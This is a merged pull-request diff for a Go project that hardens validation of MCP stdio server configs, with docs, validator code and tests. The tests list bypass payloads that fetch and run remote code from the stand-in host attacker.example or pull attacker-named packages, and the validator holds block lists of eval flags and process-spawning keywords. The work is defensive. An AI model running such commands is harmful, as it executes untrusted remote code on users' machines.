Merge pull request #1245 from digitopvn/codex/fix-mcp-stdio-runtime-validation

fix: harden MCP stdio validation

docs/09-security.md

@@ -77,6 +77,8 @@ flowchart TD
     S3 --> ALLOW["Allow request"]
 ```
 
+**MCP stdio validation** -- Admin-created, imported, tested, and on-demand-discovered MCP server configs pass `internal/mcp.ValidateServerConfig()` before any temporary or persistent client process is created. `stdio` configs are restricted to bare allowlisted runtime names resolved from `PATH`; path-bearing commands such as `./node`, `tools/node`, `/tmp/node`, or `.\\node.exe` are rejected to prevent wrapper substitution. Arguments reject shell metacharacters and eval/import flags, and block remote loader/script/package execution modes such as `node --loader`, `python -m`, `deno`/`bun` remote refs, `npx`/`uvx`/`pipx` package targets, `uv --with`, `npm exec`, `go run`, `cargo install`, and `dotnet tool install`. SSE and streamable-HTTP transports use the SSRF validator above.
+
 **Path traversal**: `resolvePath()` applies `filepath.Clean()` then `HasPrefix()` to ensure all paths stay within the workspace. With `restrict = true`, any path outside the workspace is blocked.
 
 **PathDenyable** -- An interface that lets filesystem tools reject specific path prefixes:

internal/http/mcp_tools.go

@@ -31,6 +31,13 @@ func (h *MCPHandler) handleTestConnection(w http.ResponseWriter, r *http.Request
 		writeJSON(w, http.StatusBadRequest, map[string]string{"error": i18n.T(locale, i18n.MsgRequired, "transport")})
 		return
 	}
+	if err := mcpbridge.ValidateServerConfig(req.Transport, req.Command, req.Args, req.URL); err != nil {
+		writeJSON(w, http.StatusOK, map[string]any{
+			"success": false,
+			"error":   err.Error(),
+		})
+		return
+	}
 
 	tools, err := mcpbridge.DiscoverTools(r.Context(), req.Transport, req.Command, req.Args, req.Env, req.URL, req.Headers)
 	if err != nil {

internal/mcp/manager_tools.go

@@ -116,6 +116,10 @@ type ToolInfo struct {
 // DiscoverTools connects temporarily to an MCP server, lists its tools, and disconnects.
 // Used for on-demand discovery when no persistent Manager connection exists (DB-backed servers).
 func DiscoverTools(ctx context.Context, transportType, command string, args []string, env map[string]string, url string, headers map[string]string) ([]ToolInfo, error) {
+	if err := ValidateServerConfig(transportType, command, args, url); err != nil {
+		return nil, fmt.Errorf("invalid MCP server config: %w", err)
+	}
+
 	ctx, cancel := context.WithTimeout(ctx, 15*time.Second)
 	defer cancel()
 

internal/mcp/validation.go

@@ -2,8 +2,10 @@ package mcp
 
 import (
 	"fmt"
+	"net/url"
 	"os"
 	"regexp"
+	"sort"
 	"strings"
 
 	"github.com/nextlevelbuilder/goclaw/internal/security"
@@ -25,13 +27,13 @@ var shellMetaChars = regexp.MustCompile(`[;|&$` + "`" + `(){}[\]<>]`)
 
 // Dangerous arg flags that enable code execution.
 var dangerousArgPatterns = []string{
-	"--eval", "-e", "-c",      // Code execution flags
-	"--require", "-r",         // Module injection
-	"--import",                // ES module injection
-	"exec(", "eval(",          // Inline code
-	"__import__",              // Python import injection
-	"child_process",           // Node.js process spawning
-	"subprocess",              // Python subprocess
+	"--eval", "-e", "-c", // Code execution flags
+	"--require", "-r", // Module injection
+	"--import",       // ES module injection
+	"exec(", "eval(", // Inline code
+	"__import__",    // Python import injection
+	"child_process", // Node.js process spawning
+	"subprocess",    // Python subprocess
 }
 
 // Fail-closed env var allowlist — only these are permitted for env: resolution.
@@ -71,23 +73,17 @@ func ValidateCommand(cmd string) error {
 		return fmt.Errorf("command contains newline characters")
 	}
 
-	// Extract basename for allowlist check
-	basename := cmd
-	if idx := strings.LastIndex(cmd, "/"); idx >= 0 {
-		basename = cmd[idx+1:]
-	}
+	basename := commandBasename(cmd)
 
-	// Allow absolute paths to known commands
-	if strings.HasPrefix(cmd, "/") {
-		if !allowedCommands[basename] {
-			return fmt.Errorf("command %q not in allowlist", basename)
-		}
-		return nil
+	// Only bare runtime names are accepted. Path-bearing commands can point at
+	// workspace-controlled wrappers named after an allowlisted runtime.
+	if strings.ContainsAny(cmd, `/\`) {
+		return fmt.Errorf("command must be a bare allowlisted runtime name, not a path")
 	}
 
 	// Bare command must be in allowlist
-	if !allowedCommands[cmd] {
-		return fmt.Errorf("command %q not in allowlist (allowed: node, npx, python, python3, ruby, go, java, uvx, uv, pipx, deno, bun)", cmd)
+	if !allowedCommands[basename] {
+		return fmt.Errorf("command %q not in allowlist (allowed: %s)", basename, allowedCommandNames())
 	}
 	return nil
 }
@@ -109,6 +105,281 @@ func ValidateArgs(args []string) error {
 	return nil
 }
 
+// ValidateArgsForCommand applies command-specific stdio restrictions after the
+// generic argument scan. Several allowed runtimes also include package runners
+// or remote loaders; those execution modes are blocked for untrusted MCP config.
+func ValidateArgsForCommand(command string, args []string) error {
+	if err := ValidateArgs(args); err != nil {
+		return err
+	}
+
+	switch commandBasename(command) {
+	case "node":
+		return validateNodeArgs(args)
+	case "python", "python2", "python3":
+		return validatePythonArgs(args)
+	case "deno":
+		return validateDenoArgs(args)
+	case "bun":
+		return validateBunArgs(args)
+	case "npx", "npm", "uvx", "uv", "pipx":
+		return validatePackageRunnerArgs(commandBasename(command), args)
+	case "go":
+		return validateGoArgs(args)
+	case "cargo":
+		return validateCargoArgs(args)
+	case "dotnet":
+		return validateDotnetArgs(args)
+	default:
+		return nil
+	}
+}
+
+func commandBasename(command string) string {
+	base := strings.TrimSpace(command)
+	if idx := strings.LastIndexAny(base, `/\`); idx >= 0 {
+		base = base[idx+1:]
+	}
+	base = strings.TrimSuffix(strings.ToLower(base), ".exe")
+	return base
+}
+
+func allowedCommandNames() string {
+	names := make([]string, 0, len(allowedCommands))
+	for name := range allowedCommands {
+		names = append(names, name)
+	}
+	sort.Strings(names)
+	return strings.Join(names, ", ")
+}
+
+func validateNodeArgs(args []string) error {
+	for i, arg := range args {
+		if isFlag(arg, "-p", "--print", "--loader", "--experimental-loader") {
+			return fmt.Errorf("arg[%d] uses blocked node execution flag %q", i, arg)
+		}
+	}
+	return nil
+}
+
+func validatePythonArgs(args []string) error {
+	for i, arg := range args {
+		lower := strings.ToLower(arg)
+		if lower == "-m" || strings.HasPrefix(lower, "-m") && lower != "--" {
+			return fmt.Errorf("arg[%d] uses blocked python module execution flag %q", i, arg)
+		}
+	}
+	return nil
+}
+
+func validateDenoArgs(args []string) error {
+	if err := validateRuntimeRemoteRefs(args); err != nil {
+		return err
+	}
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "add", "install":
+			return fmt.Errorf("arg[%d] uses blocked deno package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateBunArgs(args []string) error {
+	if err := validateRuntimeRemoteRefs(args); err != nil {
+		return err
+	}
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "x", "create", "add", "install", "update", "upgrade":
+			return fmt.Errorf("arg[%d] uses blocked bun package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateRuntimeRemoteRefs(args []string) error {
+	for i, arg := range args {
+		if isRemoteCodeReference(arg) {
+			return fmt.Errorf("arg[%d] uses blocked remote code reference %q", i, arg)
+		}
+	}
+	return nil
+}
+
+func validatePackageRunnerArgs(command string, args []string) error {
+	switch command {
+	case "npx":
+		return validatePackageTargetArgs(command, args, []string{"--package", "-p", "--call"})
+	case "uvx":
+		return validatePackageTargetArgs(command, args, []string{"--from", "--with", "--with-editable", "--with-requirements"})
+	case "npm":
+		return validateNPMArgs(args)
+	case "pipx":
+		return validatePipxArgs(args)
+	case "uv":
+		return validateUVArgs(args)
+	default:
+		return nil
+	}
+}
+
+func validatePackageTargetArgs(command string, args []string, blockedFlags []string) error {
+	for i, arg := range args {
+		if isFlag(arg, blockedFlags...) {
+			return fmt.Errorf("arg[%d] uses blocked %s package flag %q", i, command, arg)
+		}
+		if isOptionArg(arg) {
+			continue
+		}
+		if !isLikelyLocalPath(arg) {
+			return fmt.Errorf("arg[%d] uses blocked %s package target %q", i, command, arg)
+		}
+	}
+	return nil
+}
+
+func validateNPMArgs(args []string) error {
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "exec", "x", "run", "run-script", "create", "install", "i", "add", "update", "upgrade":
+			return fmt.Errorf("arg[%d] uses blocked npm subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validatePipxArgs(args []string) error {
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "run", "install", "inject", "upgrade", "upgrade-all", "runpip":
+			return fmt.Errorf("arg[%d] uses blocked pipx subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateUVArgs(args []string) error {
+	sawTool := false
+	sawPip := false
+	for i, arg := range args {
+		if isFlag(arg, "--with", "--with-editable", "--with-requirements", "--from") {
+			return fmt.Errorf("arg[%d] uses blocked uv package flag %q", i, arg)
+		}
+		lower := strings.ToLower(strings.TrimSpace(arg))
+		if lower == "" || isOptionArg(lower) {
+			continue
+		}
+		switch {
+		case lower == "tool":
+			sawTool = true
+			continue
+		case lower == "pip":
+			sawPip = true
+			continue
+		case sawTool && (lower == "run" || lower == "install" || lower == "upgrade"):
+			return fmt.Errorf("arg[%d] uses blocked uv tool subcommand %q", i, args[i])
+		case sawPip && (lower == "install" || lower == "sync"):
+			return fmt.Errorf("arg[%d] uses blocked uv pip subcommand %q", i, args[i])
+		case lower == "add" || lower == "sync":
+			return fmt.Errorf("arg[%d] uses blocked uv package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateGoArgs(args []string) error {
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "run", "install", "get":
+			return fmt.Errorf("arg[%d] uses blocked go package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateCargoArgs(args []string) error {
+	for i, arg := range args {
+		switch strings.ToLower(strings.TrimSpace(arg)) {
+		case "run", "install", "add", "update":
+			return fmt.Errorf("arg[%d] uses blocked cargo package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func validateDotnetArgs(args []string) error {
+	sawTool := false
+	sawAdd := false
+	for i, arg := range args {
+		lower := strings.ToLower(strings.TrimSpace(arg))
+		if lower == "" || isOptionArg(lower) {
+			continue
+		}
+		switch {
+		case lower == "run", lower == "restore":
+			return fmt.Errorf("arg[%d] uses blocked dotnet subcommand %q", i, args[i])
+		case lower == "tool":
+			sawTool = true
+			continue
+		case sawTool && (lower == "install" || lower == "update" || lower == "run"):
+			return fmt.Errorf("arg[%d] uses blocked dotnet tool subcommand %q", i, args[i])
+		case lower == "add":
+			sawAdd = true
+			continue
+		case sawAdd && lower == "package":
+			return fmt.Errorf("arg[%d] uses blocked dotnet package subcommand %q", i, args[i])
+		}
+	}
+	return nil
+}
+
+func isFlag(arg string, names ...string) bool {
+	lower := strings.ToLower(strings.TrimSpace(arg))
+	for _, name := range names {
+		if lower == name || strings.HasPrefix(lower, name+"=") {
+			return true
+		}
+	}
+	return false
+}
+
+func isOptionArg(arg string) bool {
+	return strings.HasPrefix(strings.TrimSpace(arg), "-")
+}
+
+func isLikelyLocalPath(arg string) bool {
+	arg = strings.TrimSpace(arg)
+	if strings.HasPrefix(arg, "./") || strings.HasPrefix(arg, `.\`) ||
+		strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, `\`) {
+		return true
+	}
+	return len(arg) >= 3 && arg[1] == ':' && (arg[2] == '\\' || arg[2] == '/')
+}
+
+func isRemoteCodeReference(arg string) bool {
+	arg = strings.TrimSpace(arg)
+	if isLikelyLocalPath(arg) {
+		return false
+	}
+	u, err := url.Parse(strings.TrimSpace(arg))
+	if err != nil {
+		return false
+	}
+	if u.Scheme == "" {
+		return false
+	}
+	if len(u.Scheme) == 1 && len(arg) >= 2 && arg[1] == ':' {
+		return false
+	}
+	switch u.Scheme {
+	case "http", "https", "npm", "jsr", "git", "git+https", "git+ssh", "ssh":
+		return true
+	default:
+		return u.Host != ""
+	}
+}
+
 // ValidateURL checks URL for SSRF vulnerabilities using the existing security package.
 // This provides DNS rebinding protection via IP pinning.
 func ValidateURL(rawURL string) error {
@@ -150,7 +421,7 @@ func ValidateServerConfig(transport, command string, args []string, url string)
 		if err := ValidateCommand(command); err != nil {
 			return fmt.Errorf("invalid command: %w", err)
 		}
-		if err := ValidateArgs(args); err != nil {
+		if err := ValidateArgsForCommand(command, args); err != nil {
 			return fmt.Errorf("invalid args: %w", err)
 		}
 	}

internal/mcp/validation_test.go

@@ -1,6 +1,8 @@
 package mcp
 
 import (
+	"context"
+	"strings"
 	"testing"
 
 	"github.com/nextlevelbuilder/goclaw/internal/security"
@@ -28,13 +30,14 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) {
 		{"not in allowlist", "sh", true},
 		{"not in allowlist bash", "bash", true},
 		{"valid node", "node", false},
+		{"valid node exe basename", "node.exe", false},
 		{"valid npx", "npx", false},
 		{"valid python", "python", false},
 		{"valid python3", "python3", false},
 		{"valid uvx", "uvx", false},
 		{"valid deno", "deno", false},
 		{"valid bun", "bun", false},
-		{"valid absolute path", "/usr/local/bin/node", false},
+		{"absolute path to runtime rejected", "/usr/local/bin/node", true},
 		{"empty command", "", false},
 	}
 	for _, tt := range tests {
@@ -50,6 +53,41 @@ func TestValidateCommand_Injection_Rejected(t *testing.T) {
 	}
 }
 
+func TestValidateCommand_PathBearingRuntimeRejected(t *testing.T) {
+	tests := []string{
+		"./node",
+		"tools/node",
+		"./python",
+		`.\node.exe`,
+		`tools\node.exe`,
+		"/tmp/node",
+		"/workspace/node",
+		`C:\tmp\node.exe`,
+	}
+
+	for _, command := range tests {
+		t.Run(command, func(t *testing.T) {
+			if err := ValidateCommand(command); err == nil {
+				t.Fatalf("ValidateCommand(%q) accepted path-bearing runtime", command)
+			}
+		})
+	}
+}
+
+func TestValidateCommand_AllowedCommandsErrorIsComplete(t *testing.T) {
+	err := ValidateCommand("sh")
+	if err == nil {
+		t.Fatal("ValidateCommand accepted disallowed command")
+	}
+
+	msg := err.Error()
+	for _, want := range []string{"cargo", "dotnet", "npm", "php", "python2"} {
+		if !strings.Contains(msg, want) {
+			t.Fatalf("allowlist error %q missing %q", msg, want)
+		}
+	}
+}
+
 func TestValidateArgs_DangerousPatterns_Rejected(t *testing.T) {
 	tests := []struct {
 		name    string
@@ -226,6 +264,146 @@ func TestValidateServerConfig_Combined(t *testing.T) {
 	}
 }
 
+func TestValidateServerConfig_StdioRuntimeBypassPayloadsRejected(t *testing.T) {
+	tests := []struct {
+		name    string
+		command string
+		args    []string
+	}{
+		{
+			name:    "deno remote script url",
+			command: "deno",
+			args:    []string{"run", "--allow-all", "https://attacker.example/mcp.ts"},
+		},
+		{
+			name:    "deno npm package spec",
+			command: "deno",
+			args:    []string{"run", "npm:@attacker/mcp-server"},
+		},
+		{
+			name:    "bun remote script url",
+			command: "bun",
+			args:    []string{"https://attacker.example/mcp.ts"},
+		},
+		{
+			name:    "bun package executor",
+			command: "bun",
+			args:    []string{"x", "attacker-mcp-server"},
+		},
+		{
+			name:    "npx remote package target",
+			command: "npx",
+			args:    []string{"@attacker/mcp-server@1.0.0"},
+		},
+		{
+			name:    "uvx remote package target",
+			command: "uvx",
+			args:    []string{"attacker-mcp-server"},
+		},
+		{
+			name:    "pipx run remote package target",
+			command: "pipx",
+			args:    []string{"run", "attacker-mcp-server"},
+		},
+		{
+			name:    "uv run package injection",
+			command: "uv",
+			args:    []string{"run", "--with", "attacker-mcp-server", "python", "-V"},
+		},
+		{
+			name:    "node remote loader",
+			command: "node",
+			args:    []string{"--loader=https://attacker.example/loader.mjs", "./server.js"},
+		},
+		{
+			name:    "node print flag",
+			command: "node",
+			args:    []string{"-p", "process.version"},
+		},
+		{
+			name:    "python module execution",
+			command: "python",
+			args:    []string{"-m", "pip", "--version"},
+		},
+		{
+			name:    "npm exec remote package",
+			command: "npm",
+			args:    []string{"exec", "attacker-mcp-server"},
+		},
+		{
+			name:    "npm option before exec",
+			command: "npm",
+			args:    []string{"--prefix", ".", "exec", "attacker-mcp-server"},
+		},
+		{
+			name:    "pipx option before run",
+			command: "pipx",
+			args:    []string{"--global", "run", "attacker-mcp-server"},
+		},
+		{
+			name:    "uv pip option before install",
+			command: "uv",
+			args:    []string{"pip", "--python", "3.12", "install", "attacker-mcp-server"},
+		},
+		{
+			name:    "go run remote package",
+			command: "go",
+			args:    []string{"run", "github.com/attacker/mcp-server@latest"},
+		},
+		{
+			name:    "cargo install remote crate",
+			command: "cargo",
+			args:    []string{"install", "attacker-mcp-server"},
+		},
+		{
+			name:    "dotnet tool install package",
+			command: "dotnet",
+			args:    []string{"tool", "install", "attacker-mcp-server"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err == nil {
+				t.Fatalf("ValidateServerConfig accepted %s %v", tt.command, tt.args)
+			}
+		})
+	}
+}
+
+func TestValidateServerConfig_StdioLocalServerArgsAllowed(t *testing.T) {
+	tests := []struct {
+		name    string
+		command string
+		args    []string
+	}{
+		{name: "node local script", command: "node", args: []string{"./server.js"}},
+		{name: "python local script", command: "python3", args: []string{"./server.py"}},
+		{name: "deno local script", command: "deno", args: []string{"run", "./server.ts"}},
+		{name: "bun local script", command: "bun", args: []string{"./server.ts"}},
+		{name: "npx local target", command: "npx", args: []string{"./node_modules/.bin/mcp-server"}},
+		{name: "uv local run", command: "uv", args: []string{"run", "./server.py"}},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if err := ValidateServerConfig("stdio", tt.command, tt.args, ""); err != nil {
+				t.Fatalf("ValidateServerConfig rejected local server args: %v", err)
+			}
+		})
+	}
+}
+
+func TestDiscoverTools_RejectsUnsafeConfigBeforeSpawn(t *testing.T) {
+	_, err := DiscoverTools(context.Background(), "stdio", "npx", []string{"@attacker/mcp-server@1.0.0"}, nil, "", nil)
+	if err == nil {
+		t.Fatal("DiscoverTools accepted unsafe stdio config")
+	}
+	if !strings.Contains(err.Error(), "invalid MCP server config") {
+		t.Fatalf("DiscoverTools error = %v, want validation error", err)
+	}
+}
+
 func TestValidateHeaders_EnvVarCheck(t *testing.T) {
 	tests := []struct {
 		name    string